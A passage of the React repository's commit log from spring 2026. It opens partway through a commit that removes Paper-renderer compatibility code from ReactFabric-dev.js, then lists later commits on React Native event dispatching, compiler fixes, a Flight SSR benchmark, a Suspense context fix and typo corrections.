- Deleted ReactNative.js shim and Paper-only test mocks

## How did you test this change?

Manually synced the renderer to RN and passed all Fantom tests.

Manually verified the differences in the generated `ReactFabric-dev.js`
file. Only Paper compat logic has been removed.

<details>
<summary>diff</summary> 

```diff
--- /tmp/react-fabric-baseline/ReactFabric-dev.js	2026-04-16 16:42:42
+++ build/react-native/implementations/ReactFabric-dev.js	2026-04-16 18:08:43
@@ -30,43 +30,19 @@
         : emptyObject;
     }
     function createHierarchy(fiberHierarchy) {
-      return fiberHierarchy.map(function (fiber$jscomp$0) {
+      return fiberHierarchy.map(function (fiber) {
         return {
-          name: getComponentNameFromType(fiber$jscomp$0.type),
+          name: getComponentNameFromType(fiber.type),
           getInspectorData: function () {
             return {
-              props: getHostProps(fiber$jscomp$0),
+              props: getHostProps(fiber),
               measure: function (callback) {
-                var hostFiber = findCurrentHostFiber(fiber$jscomp$0);
-                if (
-                  (hostFiber =
-                    null != hostFiber &&
-                    null !== hostFiber.stateNode &&
-                    hostFiber.stateNode.node)
-                )
+                var hostFiber = findCurrentHostFiber(fiber);
+                (hostFiber =
+                  null != hostFiber &&
+                  null !== hostFiber.stateNode &&
+                  hostFiber.stateNode.node) &&
                   nativeFabricUIManager.measure(hostFiber, callback);
-                else {
-                  hostFiber = ReactNativePrivateInterface.UIManager;
-                  var JSCompiler_temp_const = hostFiber.measure,
-                    JSCompiler_inline_result;
-                  a: {
-                    for (var fiber = fiber$jscomp$0; fiber; ) {
-                      null !== fiber.stateNode &&
-                        5 === fiber.tag &&
-                        (JSCompiler_inline_result = findNodeHandle(
-                          fiber.stateNode
-                        ));
-                      if (JSCompiler_inline_result) break a;
-                      fiber = fiber.child;
-                    }
-                    JSCompiler_inline_result = null;
-                  }
-                  return JSCompiler_temp_const.call(
-                    hostFiber,
-                    JSCompiler_inline_result,
-                    callback
-                  );
-                }
               }
             };
           }
@@ -1805,18 +1781,6 @@
       }
       return null;
     }
-    function doesFiberContain(parentFiber, childFiber) {
-      for (
-        var parentFiberAlternate = parentFiber.alternate;
-        null !== childFiber;
-
-      ) {
-        if (childFiber === parentFiber || childFiber === parentFiberAlternate)
-          return !0;
-        childFiber = childFiber.return;
-      }
-      return !1;
-    }
     function traverseVisibleHostChildren(
       child,
       searchWithinHosts,
@@ -16986,44 +16950,6 @@
     function getCurrentFiberForDevTools() {
       return current;
     }
-    function findNodeHandle(componentOrHandle) {
-      var owner = current;
-      null !== owner &&
-        isRendering &&
-        null !== owner.stateNode &&
-        (owner.stateNode._warnedAboutRefsInRender ||
-          console.error(
-            "%s is accessing findNodeHandle inside its render(). render() should be a pure function of props and state. It should never access something that requires stale data from the previous render, such as refs. Move this logic to componentDidMount and componentDidUpdate instead.",
-            getComponentNameFromType(owner.type) || "A component"
-          ),
-        (owner.stateNode._warnedAboutRefsInRender = !0));
-      if (null == componentOrHandle) return null;
-      if ("number" === typeof componentOrHandle) return componentOrHandle;
-      if (componentOrHandle._nativeTag) return componentOrHandle._nativeTag;
-      if (
-        null != componentOrHandle.canonical &&
-        null != componentOrHandle.canonical.nativeTag
-      )
-        return componentOrHandle.canonical.nativeTag;
-      if (
-        (owner =
-          ReactNativePrivateInterface.getNativeTagFromPublicInstance(
-            componentOrHandle
-          ))
-      )
-        return owner;
-      componentOrHandle = findHostInstanceWithWarning(
-        componentOrHandle,
-        "findNodeHandle"
-      );
-      return null == componentOrHandle
-        ? componentOrHandle
-        : null != componentOrHandle._nativeTag
-          ? componentOrHandle._nativeTag
-          : ReactNativePrivateInterface.getNativeTagFromPublicInstance(
-              componentOrHandle
-            );
-    }
     function getNodeFromInternalInstanceHandle(internalInstanceHandle) {
       return (
         internalInstanceHandle &&
@@ -17134,12 +17060,9 @@
         }
         return instance.canonical.publicInstance;
       }
-      return null != instance.containerInfo &&
-        null != instance.containerInfo.publicInstance
+      return null != instance.containerInfo
         ? instance.containerInfo.publicInstance
-        : null != instance._nativeTag
-          ? instance
-          : null;
+        : null;
     }
     function getPublicInstanceFromHostFiber(fiber) {
       fiber = getPublicInstance(fiber.stateNode);
@@ -18017,7 +17940,6 @@
       DefaultEventPriority = 32,
       IdleEventPriority = 268435456,
       searchTarget = null,
-      instanceCache = new Map(),
       bind = Function.prototype.bind,
       valueStack = [];
     var fiberStack = [];
@@ -20041,24 +19963,19 @@
         _nativeFabricUIManage.unstable_getCurrentEventPriority,
       extraDevToolsConfig = {
         getInspectorDataForInstance: getInspectorDataForInstance,
-        getInspectorDataForViewTag: function (viewTag) {
-          viewTag = instanceCache.get(viewTag) || null;
-          return getInspectorDataForInstance(viewTag);
-        },
         getInspectorDataForViewAtPoint: function (
           inspectedView,
           locationX,
           locationY,
           callback
         ) {
-          var closestInstance = null,
-            fabricNode =
-              ReactNativePrivateInterface.getNodeFromPublicInstance(
-                inspectedView
-              );
-          fabricNode
+          var closestInstance = null;
+          (inspectedView =
+            ReactNativePrivateInterface.getNodeFromPublicInstance(
+              inspectedView
+            ))
             ? nativeFabricUIManager.findNodeAtPoint(
-                fabricNode,
+                inspectedView,
                 locationX,
                 locationY,
                 function (internalInstanceHandle) {
@@ -20109,32 +20026,9 @@
                   }
                 }
               )
-            : null != inspectedView._internalFiberInstanceHandleDEV
-              ? ReactNativePrivateInterface.UIManager.findSubviewIn(
-                  findNodeHandle(inspectedView),
-                  [locationX, locationY],
-                  function (nativeViewTag, left, top, width, height) {
-                    var inspectorData = getInspectorDataForInstance(
-                      instanceCache.get(nativeViewTag) || null
-                    );
-                    callback(
-                      assign({}, inspectorData, {
-                        pointerY: locationY,
-                        frame: {
-                          left: left,
-                          top: top,
-                          width: width,
-                          height: height
-                        },
-                        touchedViewTag: nativeViewTag,
-                        closestPublicInstance: nativeViewTag
-                      })
-                    );
-                  }
-                )
-              : console.error(
-                  "getInspectorDataForViewAtPoint expects to receive a host component"
-                );
+            : console.error(
+                "getInspectorDataForViewAtPoint expects to receive a host component"
+              );
         }
       },
       getViewConfigForType =
@@ -20368,23 +20262,12 @@
       );
     };
     exports.dispatchCommand = function (handle, command, args) {
-      var nativeTag =
-        null != handle._nativeTag
-          ? handle._nativeTag
-          : ReactNativePrivateInterface.getNativeTagFromPublicInstance(handle);
-      null == nativeTag
-        ? console.error(
+      handle = ReactNativePrivateInterface.getNodeFromPublicInstance(handle);
+      null != handle
+        ? nativeFabricUIManager.dispatchCommand(handle, command, args)
+        : console.error(
             "dispatchCommand was called with a ref that isn't a native component. Use React.forwardRef to get access to the underlying native component"
-          )
-        : ((handle =
-            ReactNativePrivateInterface.getNodeFromPublicInstance(handle)),
-          null != handle
-            ? nativeFabricUIManager.dispatchCommand(handle, command, args)
-            : ReactNativePrivateInterface.UIManager.dispatchViewManagerCommand(
-                nativeTag,
-                command,
-                args
-              ));
+          );
     };
     exports.findHostInstance_DEPRECATED = function (componentOrHandle) {
       var owner = current;
@@ -20402,14 +20285,46 @@
         : componentOrHandle.canonical &&
             componentOrHandle.canonical.publicInstance
           ? componentOrHandle.canonical.publicInstance
-          : componentOrHandle._nativeTag
-            ? componentOrHandle
-            : findHostInstanceWithWarning(
-                componentOrHandle,
-                "findHostInstance_DEPRECATED"
-              );
+          : findHostInstanceWithWarning(
+              componentOrHandle,
+              "findHostInstance_DEPRECATED"
+            );
     };
-    exports.findNodeHandle = findNodeHandle;
+    exports.findNodeHandle = function (componentOrHandle) {
+      var owner = current;
+      null !== owner &&
+        isRendering &&
+        null !== owner.stateNode &&
+        (owner.stateNode._warnedAboutRefsInRender ||
+          console.error(
+            "%s is accessing findNodeHandle inside its render(). render() should be a pure function of props and state. It should never access something that requires stale data from the previous render, such as refs. Move this logic to componentDidMount and componentDidUpdate instead.",
+            getComponentNameFromType(owner.type) || "A component"
+          ),
+        (owner.stateNode._warnedAboutRefsInRender = !0));
+      if (null == componentOrHandle) return null;
+      if ("number" === typeof componentOrHandle) return componentOrHandle;
+      if (
+        null != componentOrHandle.canonical &&
+        null != componentOrHandle.canonical.nativeTag
+      )
+        return componentOrHandle.canonical.nativeTag;
+      if (
+        (owner =
+          ReactNativePrivateInterface.getNativeTagFromPublicInstance(
+            componentOrHandle
+          ))
+      )
+        return owner;
+      componentOrHandle = findHostInstanceWithWarning(
+        componentOrHandle,
+        "findNodeHandle"
+      );
+      return null == componentOrHandle
+        ? componentOrHandle
+        : ReactNativePrivateInterface.getNativeTagFromPublicInstance(
+            componentOrHandle
+          );
+    };
     exports.getNodeFromInternalInstanceHandle =
       getNodeFromInternalInstanceHandle;
     exports.getPublicInstanceFromInternalInstanceHandle = function (
@@ -20433,14 +20348,6 @@
         : null;
     };
     exports.isChildPublicInstance = function (parentInstance, childInstance) {
-      if (
-        parentInstance._internalFiberInstanceHandleDEV &&
-        childInstance._internalFiberInstanceHandleDEV
-      )
-        return doesFiberContain(
-          parentInstance._internalFiberInstanceHandleDEV,
-          childInstance._internalFiberInstanceHandleDEV
-        );
       parentInstance =
         ReactNativePrivateInterface.getInternalInstanceHandleFromPublicInstance(
           parentInstance
@@ -20449,9 +20356,27 @@
         ReactNativePrivateInterface.getInternalInstanceHandleFromPublicInstance(
           childInstance
         );
-      return null != parentInstance && null != childInstance
-        ? doesFiberContain(parentInstance, childInstance)
-        : !1;
+      if (null != parentInstance && null != childInstance) {
+        a: {
+          for (
+            var parentFiberAlternate = parentInstance.alternate;
+            null !== childInstance;
+
+          ) {
+            if (
+              childInstance === parentInstance ||
+              childInstance === parentFiberAlternate
+            ) {
+              parentInstance = !0;
+              break a;
+            }
+            childInstance = childInstance.return;
+          }
+          parentInstance = !1;
+        }
+        return parentInstance;
+      }
+      return !1;
     };
     exports.render = function (
       element,
@@ -20521,22 +20446,12 @@
       return element;
     };
     exports.sendAccessibilityEvent = function (handle, eventType) {
-      var nativeTag =
-        null != handle._nativeTag
-          ? handle._nativeTag
-          : ReactNativePrivateInterface.getNativeTagFromPublicInstance(handle);
-      null == nativeTag
-        ? console.error(
+      handle = ReactNativePrivateInterface.getNodeFromPublicInstance(handle);
+      null != handle
+        ? nativeFabricUIManager.sendAccessibilityEvent(handle, eventType)
+        : console.error(
             "sendAccessibilityEvent was called with a ref that isn't a native component. Use React.forwardRef to get access to the underlying native component"
-          )
-        : ((handle =
-            ReactNativePrivateInterface.getNodeFromPublicInstance(handle)),
-          null != handle
-            ? nativeFabricUIManager.sendAccessibilityEvent(handle, eventType)
-            : ReactNativePrivateInterface.legacySendAccessibilityEvent(
-                nativeTag,
-                eventType
-              ));
+          );
     };
     exports.stopSurface = function (containerTag) {
       var root = roots.get(containerTag);
```

</details>
2026-04-16 18:34:03 +01:00
Sebastian "Sebbie" Silbermann
00f063c31d [test] Make enableSuspenseyImages dynamic (#36274) 2026-04-15 18:11:27 +02:00
Rubén Norte
0418c8a8b6 [RN] Move new event dispatching pipeline to RN (#36266)
## Summary

We found a bug in the logic in
https://github.com/facebook/react/pull/36253 and we realized it's very
inconvenient to iterate on the implementation when it's in this
repository, as we're forced to then synchronize it to RN to test
changes.

This moves the entire implementation to RN for simplicity and also to
simplify some clean ups in the future (like removing `top` prefixes from
native event types).

## How did you test this change?

The changes are gated. Will test e2e in RN.
2026-04-14 18:10:33 +01:00
Rubén Norte
568244232e [react-native-renderer] EventTarget-based event dispatching (#36253)
## Summary

Set up the experiment to migrate event dispatching in the React Native
renderer to be based on the native EventTarget API.

Behind the `enableNativeEventTargetEventDispatching` flag, events are
dispatched through `dispatchTrustedEvent` instead of the legacy plugin
system.

Regular event handler props are NOT registered via addEventListener at
commit time. Instead, a hook on EventTarget
(`EVENT_TARGET_GET_DECLARATIVE_LISTENER_KEY`) extracts handlers from
`canonical.currentProps` at dispatch time, shifting cost from every
render to only when events fire. The hook is overridden in
ReactNativeElement to look up the prop name via a reverse mapping from
event names (built lazily from the view config registry).

Responder events bypass EventTarget entirely. `negotiateResponder` walks
the fiber tree directly (capture then bubble phase), calling handlers
from `canonical.currentProps` and checking return values inline.
Lifecycle events (`responderGrant`, `responderMove`, etc.) call handlers
directly from props and inspect return values — `onResponderGrant`
returning `true` blocks native responder,
`onResponderTerminationRequest` returning `false` refuses termination.
This eliminates all commit-time cost for responder events (no wrappers,
no addEventListener, no `responderWrappers` on canonical).

## How did you test this change?

Flow
Tested e2e in RN using Fantom tests (that will land after this).
2026-04-14 12:43:41 +01:00
Ruslan Lesiutin
fef12a01c8 fix: explicitly warn for infinite loops discovered only via enableInfiniteRenderLoopDetection (#36195)
My change in https://github.com/facebook/react/pull/35999 did not cover
all possible scenarios for emitting a warning, instead of throwing.

The instrumentation not only enables the identification for the infinite
loop via execution context checks, but also adds the check to more
lifecycle methods, like `markRootPinged` and `markRootUpdated`.

See the newly added test to understand a potential scenario. Before the
fix, the error would be thrown:
<img width="1192" height="424" alt="Screenshot 2026-04-08 at 17 21 51"
src="https://github.com/user-attachments/assets/ba8ea379-0271-4938-ae45-e37ee75e1963"
/>

With the current changes, the warning is logged with `console.error`.
2026-04-13 12:28:42 -04:00
Eugene Choi
705268dcd1 Fix require('ReactFeatureFlags') in eslint-plugin-react-hooks www build (#36243)
PR #35951 added FB_WWW_DEV builds for eslint-plugin-react-hooks to get
www-specific feature flag values. However, the FB_WWW build uses the
full ReactFeatureFlags.www.js fork, which contains:

  const dynamicFeatureFlags = require('ReactFeatureFlags');

This is a www Haste module that only exists in the www runtime. Rollup
can't tree-shake CJS require() calls (they're assumed side-effectful),
so the bare require('ReactFeatureFlags') survives in the build output
even though the eslint plugin only uses the static eprh_* exports.

When the built artifact is synced to www at
scripts/lint/eslint/rules/eslint-plugin-react-hooks/index.js, Node.js
fails with "Cannot find module 'ReactFeatureFlags'" because Haste
modules aren't available in the Node.js lint environment.

Create a dedicated fork (ReactFeatureFlags.eslint-plugin.www.js) that
exports only the static eprh_* flags with www values, without the
require('ReactFeatureFlags') dependency. Wire it up in forks.js for the
eslint-plugin-react-hooks entry point.

<!--
  Thanks for submitting a pull request!
We appreciate you spending the time to work on these changes. Please
provide enough information so that others can review your pull request.
The three fields below are mandatory.

Before submitting a pull request, please make sure the following is
done:

1. Fork [the repository](https://github.com/facebook/react) and create
your branch from `main`.
  2. Run `yarn` in the repository root.
3. If you've fixed a bug or added code that should be tested, add tests!
4. Ensure the test suite passes (`yarn test`). Tip: `yarn test --watch
TestName` is helpful in development.
5. Run `yarn test --prod` to test in the production environment. It
supports the same options as `yarn test`.
6. If you need a debugger, run `yarn test --debug --watch TestName`,
open `chrome://inspect`, and press "Inspect".
7. Format your code with
[prettier](https://github.com/prettier/prettier) (`yarn prettier`).
8. Make sure your code lints (`yarn lint`). Tip: `yarn linc` to only
check changed files.
  9. Run the [Flow](https://flowtype.org/) type checks (`yarn flow`).
  10. If you haven't already, complete the CLA.

Learn more about contributing:
https://reactjs.org/docs/how-to-contribute.html
-->

Co-authored-by: Eugene Choi <eugenechoi@meta.com>
2026-04-09 12:14:54 -04:00
Jack Pope
733d3aaf99 Fix FB_WWW eprh bundle dev guard (#36238)
We use FB_WWW bundle to inject internal feature flag values, but need to
use NODE guard type because this is a node script -- __DEV__ is breaking
internal builds

Follow up to https://github.com/facebook/react/pull/35951
2026-04-08 16:12:35 -04:00
Sebastian "Sebbie" Silbermann
404b38c764 [Flight] Add more cycle protections (#36236) 2026-04-08 21:01:27 +02:00
Dmitrii
808e7ed8e2 [compiler] Fix set-state-in-effect false negative with NewExpression default param (#36107)
## Summary

Fixes #36101

When a component function has a destructured prop with a `NewExpression`
default value (e.g. `{ value = new Number() }`), the React Compiler
bails out during HIR construction when trying to lower the default value
via `lowerReorderableExpression`. This causes
`validateNoSetStateInEffects` to never run, silently suppressing the
`set-state-in-effect` diagnostic.

**Root cause:** `isReorderableExpression` did not have a case for
`NewExpression`, so it fell through to the `default: return false`
branch. `lowerReorderableExpression` then recorded a `Todo` error and
aborted compilation of the function before any validation passes ran.

**Fix:** Add a `NewExpression` case to `isReorderableExpression` that
mirrors the existing `CallExpression` case — the expression is safe to
reorder when the callee and all arguments are themselves reorderable
(e.g. global identifiers and literals).

## How did you test this change?

Added a new compiler fixture
`invalid-setState-in-useEffect-new-expression-default-param` that
reproduces the bug from the issue. The fixture verifies that the
`EffectSetState` diagnostic is correctly emitted for a component with a
`NewExpression` default prop value.

All 1720 compiler snapshot tests pass.
2026-04-08 14:52:49 -04:00
Sebastian "Sebbie" Silbermann
0c44b96e97 [DevTools] Remove spurious warnings when creating Suspense timeline from a Transition (#36133) 2026-04-08 18:49:35 +02:00
Hendrik Liebau
1b45e24392 Add Flight SSR benchmark fixture (#36180)
This PR adds a benchmark fixture for measuring the performance overhead
of the React Server Components (RSC) Flight rendering compared to plain
Fizz server-side rendering.

### Motivation

Performance discussions around RSC (e.g. #36143, #35125) have
highlighted the need for reproducible benchmarks that accurately measure
the cost that Flight adds on top of Fizz. This fixture provides multiple
benchmark modes that can be used to track performance improvements
across commits, compare Node vs Edge (web streams) overhead, and
identify bottlenecks in Flight serialization and deserialization.

### What it measures

The benchmark renders a dashboard app with ~25 components (16 client
components), 200 product rows with nested data (~325KB Flight payload),
and ~250 Suspense boundaries in the async variant. It compares 8 render
variants: Fizz-only and Flight+Fizz, across Node and Edge stream APIs,
with both synchronous and asynchronous apps.

### Benchmark modes

- **`yarn bench`** runs a sequential in-process benchmark with realistic
Flight script injection (tee + `TransformStream`/`Transform` buffered
injection), matching what real frameworks do when inlining the RSC
payload into the HTML response for hydration.
- **`yarn bench:bare`** runs the same benchmark without script
injection, isolating the React-internal rendering cost. This is best for
tracking changes to Flight serialization or Fizz rendering.
- **`yarn bench:server`** starts an HTTP server and uses `autocannon` to
measure real req/s at `c=1` and `c=10`. The `c=1` results provide a
clean signal for tracking React-internal changes, while `c=10` reflects
throughput under concurrent load.
- **`yarn bench:concurrent`** runs an in-process concurrent benchmark
with 50 in-flight renders via `Promise.all`, measuring throughput
without HTTP overhead.
- **`yarn bench:profile`** collects CPU profiles via the V8 inspector
and reports the top functions by self-time along with GC pause data.
- **`yarn start`** starts the HTTP server for manual browser testing.
Appending `.rsc` to any Flight URL serves the raw Flight payload.

### Key findings during development

On Node 22, the Flight+Fizz overhead compared to Fizz-only rendering is
roughly:

- **Without script injection** (`bench:bare`): ~2.2x for sync, ~1.3x for
async
- **With script injection** (`bench:server`, c=1): ~2.9x for sync, ~1.8x
for async
- **Edge vs Node** adds another ~30% for sync and ~10% for async, driven
by the stream plumbing for script injection (tee + `TransformStream`
buffering)

The async variant better represents real-world applications where server
components fetch data asynchronously. Its lower overhead reflects the
fact that Flight serialization and Fizz rendering can overlap with I/O
wait times, making the added Flight cost a smaller fraction of total
request time.

The benchmark also revealed that the Edge vs Node gap is negligible for
Fizz-only rendering (~1-2%) but grows to ~15% for Flight+Fizz sync even
without script injection. With script injection (tee + `TransformStream`
buffering), the gap roughly doubles to ~30% for sync. The async variants
show smaller gaps (~5% without, ~10% with injection).
2026-04-02 19:00:28 +02:00
Bodhi Russell Silberling
80b1cab397 Fix typos: occured->occurred, teh->the, accomodate->accommodate (#35616)
Fixed spelling errors in comments and error messages:
- Fixed 'occured' -> 'occurred' in ReactAsyncActions-test.js
- Fixed 'teh' -> 'the' in ReactFiberConfigDOM.js
- Fixed 'occured' -> 'occurred' in ErrorBoundary.js
- Fixed 'accomodate' -> 'accommodate' in InferMutationAliasingEffects.ts

<!--
  Thanks for submitting a pull request!
We appreciate you spending the time to work on these changes. Please
provide enough information so that others can review your pull request.
The three fields below are mandatory.

Before submitting a pull request, please make sure the following is
done:

1. Fork [the repository](https://github.com/facebook/react) and create
your branch from `main`.
  2. Run `yarn` in the repository root.
3. If you've fixed a bug or added code that should be tested, add tests!
4. Ensure the test suite passes (`yarn test`). Tip: `yarn test --watch
TestName` is helpful in development.
5. Run `yarn test --prod` to test in the production environment. It
supports the same options as `yarn test`.
6. If you need a debugger, run `yarn test --debug --watch TestName`,
open `chrome://inspect`, and press "Inspect".
7. Format your code with
[prettier](https://github.com/prettier/prettier) (`yarn prettier`).
8. Make sure your code lints (`yarn lint`). Tip: `yarn linc` to only
check changed files.
  9. Run the [Flow](https://flowtype.org/) type checks (`yarn flow`).
  10. If you haven't already, complete the CLA.

Learn more about contributing:
https://reactjs.org/docs/how-to-contribute.html
-->

## Summary

<!--
Explain the **motivation** for making this change. What existing problem
does the pull request solve?
-->

## How did you test this change?

<!--
Demonstrate the code is solid. Example: The exact commands you ran and
their output, screenshots / videos if the pull request changes the user
interface.
How exactly did you verify that your PR solves the issue you wanted to
solve?
  If you leave this empty, your PR will very likely be closed.
-->
2026-03-31 16:01:58 -07:00
ALİ DENİZ TARTMA
044d56f390 docs: fix typos and improve abbreviation usage in DESIGN_GOALS.md (#36170)
Hi! While reviewing the React Compiler documentation, I noticed a few
minor issues in DESIGN_GOALS.md:


- Fixed a typo: `outweight` → `outweigh` in the Non-Goals section.

- Updated all instances of `ie` to the standard `i.e.` for better
consistency and clarity throughout the document.


Happy to contribute!

<!--
  Thanks for submitting a pull request!
We appreciate you spending the time to work on these changes. Please
provide enough information so that others can review your pull request.
The three fields below are mandatory.

Before submitting a pull request, please make sure the following is
done:

1. Fork [the repository](https://github.com/facebook/react) and create
your branch from `main`.
  2. Run `yarn` in the repository root.
3. If you've fixed a bug or added code that should be tested, add tests!
4. Ensure the test suite passes (`yarn test`). Tip: `yarn test --watch
TestName` is helpful in development.
5. Run `yarn test --prod` to test in the production environment. It
supports the same options as `yarn test`.
6. If you need a debugger, run `yarn test --debug --watch TestName`,
open `chrome://inspect`, and press "Inspect".
7. Format your code with
[prettier](https://github.com/prettier/prettier) (`yarn prettier`).
8. Make sure your code lints (`yarn lint`). Tip: `yarn linc` to only
check changed files.
  9. Run the [Flow](https://flowtype.org/) type checks (`yarn flow`).
  10. If you haven't already, complete the CLA.

Learn more about contributing:
https://reactjs.org/docs/how-to-contribute.html
-->

## Summary

Fixed a typo (outweight -> outweigh) and standardized abbreviation usage
(ie -> i.e.) in the DESIGN_GOALS.md file for the React Compiler
documentation. This improves the overall professionalism and readability
of the document.

## How did you test this change?

This is a documentation-only change. I verified the formatting and
consistency of the edits.
2026-03-30 16:25:51 -07:00
mofeiZ
2c2fd9d12c [compiler][playground] parse compiler configs using json5 (#36159)
Compiler config parsing is currently done with new Function(...) which
is a XSS vulnerability. Replacing this with json parsing for safety
reasons.

Almost all compiler options (except for moduleTypeProvider) are json
compatible, so this isn't a big change to capabilities. Previously
created playground URLs with non-default configs may not be compatible
with this change, but we should be able to get the correct config
manually (by reading the JS version)
2026-03-30 13:04:50 -04:00
Sebastian "Sebbie" Silbermann
74568e8627 [Flight] Transport AggregateErrors.errors (#36156) 2026-03-28 18:18:21 -07:00
Andrew Clark
9627b5a1ca [Fiber] Fix context propagation into Suspense fallbacks (#36160)
## Summary

When a context value changes above a Suspense boundary that is showing
its fallback, context consumers inside the fallback do not re-render —
they display stale values.

`propagateContextChanges`, upon encountering a suspended Suspense
boundary, marks the boundary for retry but stops traversing into its
children entirely (`nextFiber = null`). This skips both the hidden
primary subtree (intentional — those fibers may not exist) and the
visible fallback subtree (a bug — those fibers are committed and visible
to the user).

The fix skips the primary OffscreenComponent and continues traversal
into the FallbackFragment, so fallback context consumers are found and
marked for re-render.

In practice this often goes unnoticed because it's uncommon to read
context inside a Suspense fallback, and when some other update (like a
prop change) flows into the fallback it sidesteps the propagation path
entirely. React Compiler makes the bug more likely to surface since it
memoizes more aggressively, reducing the chance of an incidental
re-render masking the stale value.

## Test plan

- Added regression test `'context change propagates to Suspense fallback
(memo boundary)'` in `ReactContextPropagation-test.js`
- Verified the test fails without the fix and passes with it
- All existing context propagation, Suspense, memo, and hooks tests pass
2026-03-27 18:04:53 -04:00
Pavan Shinde
f944b4c535 Fix typos in comments (#35701)
<!--
  Thanks for submitting a pull request!
We appreciate you spending the time to work on these changes. Please
provide enough information so that others can review your pull request.
The three fields below are mandatory.

Before submitting a pull request, please make sure the following is
done:

1. Fork [the repository](https://github.com/facebook/react) and create
your branch from `main`.
  2. Run `yarn` in the repository root.
3. If you've fixed a bug or added code that should be tested, add tests!
4. Ensure the test suite passes (`yarn test`). Tip: `yarn test --watch
TestName` is helpful in development.
5. Run `yarn test --prod` to test in the production environment. It
supports the same options as `yarn test`.
6. If you need a debugger, run `yarn test --debug --watch TestName`,
open `chrome://inspect`, and press "Inspect".
7. Format your code with
[prettier](https://github.com/prettier/prettier) (`yarn prettier`).
8. Make sure your code lints (`yarn lint`). Tip: `yarn linc` to only
check changed files.
  9. Run the [Flow](https://flowtype.org/) type checks (`yarn flow`).
  10. If you haven't already, complete the CLA.

Learn more about contributing:
https://reactjs.org/docs/how-to-contribute.html
-->

## Summary
This PR fixes a few small spelling errors in comments across the
codebase (`teh`→`the`, `occuring`→`occurring`, `occured`→`occurred`). No
behavior changes.

<!--
Explain the **motivation** for making this change. What existing problem
does the pull request solve?
-->

## How did you test this change?

<!--
Demonstrate the code is solid. Example: The exact commands you ran and
their output, screenshots / videos if the pull request changes the user
interface.
How exactly did you verify that your PR solves the issue you wanted to
solve?
  If you leave this empty, your PR will very likely be closed.
-->
This is a comments-only change. I verified the diff is limited to
comment text and does not affect logic or runtime behavior.
2026-03-27 14:55:10 -07:00
o-m12a
677818e4a2 Fix typos in tests and comments (#35627)
<!--
  Thanks for submitting a pull request!
We appreciate you spending the time to work on these changes. Please
provide enough information so that others can review your pull request.
The three fields below are mandatory.

Before submitting a pull request, please make sure the following is
done:

1. Fork [the repository](https://github.com/facebook/react) and create
your branch from `main`.
  2. Run `yarn` in the repository root.
3. If you've fixed a bug or added code that should be tested, add tests!
4. Ensure the test suite passes (`yarn test`). Tip: `yarn test --watch
TestName` is helpful in development.
5. Run `yarn test --prod` to test in the production environment. It
supports the same options as `yarn test`.
6. If you need a debugger, run `yarn test --debug --watch TestName`,
open `chrome://inspect`, and press "Inspect".
7. Format your code with
[prettier](https://github.com/prettier/prettier) (`yarn prettier`).
8. Make sure your code lints (`yarn lint`). Tip: `yarn linc` to only
check changed files.
  9. Run the [Flow](https://flowtype.org/) type checks (`yarn flow`).
  10. If you haven't already, complete the CLA.

Learn more about contributing:
https://reactjs.org/docs/how-to-contribute.html
-->

## Summary

<!--
Explain the **motivation** for making this change. What existing problem
does the pull request solve?
-->

I just fixed typos as followings.

- `succesful` → `successful`
- `becuase` → `because`
- `enought` → `enough`
- `defualt` → `default`

## How did you test this change?

<!--
Demonstrate the code is solid. Example: The exact commands you ran and
their output, screenshots / videos if the pull request changes the user
interface.
How exactly did you verify that your PR solves the issue you wanted to
solve?
  If you leave this empty, your PR will very likely be closed.
-->

This PR only includes test case description, dummy strings for test, and
comments updates, so it has no impact on runtime behavior.
Therefore, I manually reviewed changed texts to ensure correctness.
2026-03-27 14:53:32 -07:00
Bodhi Russell Silberling
2233b7d728 Fix typos: explicitlyu->explicitly, intialized->initialized (#35621)
Fixed spelling errors:
- Fixed 'explicitlyu' -> 'explicitly' in compiler/CLAUDE.md
- Fixed 'intialized' -> 'initialized' in InferReactiveScopeVariables.ts
(comment)
- Fixed 'intialized' -> 'initialized' in InferMutationAliasingEffects.ts
(error message)

<!--
  Thanks for submitting a pull request!
We appreciate you spending the time to work on these changes. Please
provide enough information so that others can review your pull request.
The three fields below are mandatory.

Before submitting a pull request, please make sure the following is
done:

1. Fork [the repository](https://github.com/facebook/react) and create
your branch from `main`.
  2. Run `yarn` in the repository root.
3. If you've fixed a bug or added code that should be tested, add tests!
4. Ensure the test suite passes (`yarn test`). Tip: `yarn test --watch
TestName` is helpful in development.
5. Run `yarn test --prod` to test in the production environment. It
supports the same options as `yarn test`.
6. If you need a debugger, run `yarn test --debug --watch TestName`,
open `chrome://inspect`, and press "Inspect".
7. Format your code with
[prettier](https://github.com/prettier/prettier) (`yarn prettier`).
8. Make sure your code lints (`yarn lint`). Tip: `yarn linc` to only
check changed files.
  9. Run the [Flow](https://flowtype.org/) type checks (`yarn flow`).
  10. If you haven't already, complete the CLA.

Learn more about contributing:
https://reactjs.org/docs/how-to-contribute.html
-->

## Summary

<!--
Explain the **motivation** for making this change. What existing problem
does the pull request solve?
-->

## How did you test this change?

<!--
Demonstrate the code is solid. Example: The exact commands you ran and
their output, screenshots / videos if the pull request changes the user
interface.
How exactly did you verify that your PR solves the issue you wanted to
solve?
  If you leave this empty, your PR will very likely be closed.
-->
2026-03-27 14:52:23 -07:00
Bodhi Russell Silberling
ba833da405 Fix typo: accomodate -> accommodate (#35623)
Fixed spelling error in comment:
- Fixed 'accomodate' -> 'accommodate' in InferMutationAliasingEffects.ts

<!--
  Thanks for submitting a pull request!
We appreciate you spending the time to work on these changes. Please
provide enough information so that others can review your pull request.
The three fields below are mandatory.

Before submitting a pull request, please make sure the following is
done:

1. Fork [the repository](https://github.com/facebook/react) and create
your branch from `main`.
  2. Run `yarn` in the repository root.
3. If you've fixed a bug or added code that should be tested, add tests!
4. Ensure the test suite passes (`yarn test`). Tip: `yarn test --watch
TestName` is helpful in development.
5. Run `yarn test --prod` to test in the production environment. It
supports the same options as `yarn test`.
6. If you need a debugger, run `yarn test --debug --watch TestName`,
open `chrome://inspect`, and press "Inspect".
7. Format your code with
[prettier](https://github.com/prettier/prettier) (`yarn prettier`).
8. Make sure your code lints (`yarn lint`). Tip: `yarn linc` to only
check changed files.
  9. Run the [Flow](https://flowtype.org/) type checks (`yarn flow`).
  10. If you haven't already, complete the CLA.

Learn more about contributing:
https://reactjs.org/docs/how-to-contribute.html
-->

## Summary

<!--
Explain the **motivation** for making this change. What existing problem
does the pull request solve?
-->

## How did you test this change?

<!--
Demonstrate the code is solid. Example: The exact commands you ran and
their output, screenshots / videos if the pull request changes the user
interface.
How exactly did you verify that your PR solves the issue you wanted to
solve?
  If you leave this empty, your PR will very likely be closed.
-->
2026-03-27 14:51:37 -07:00
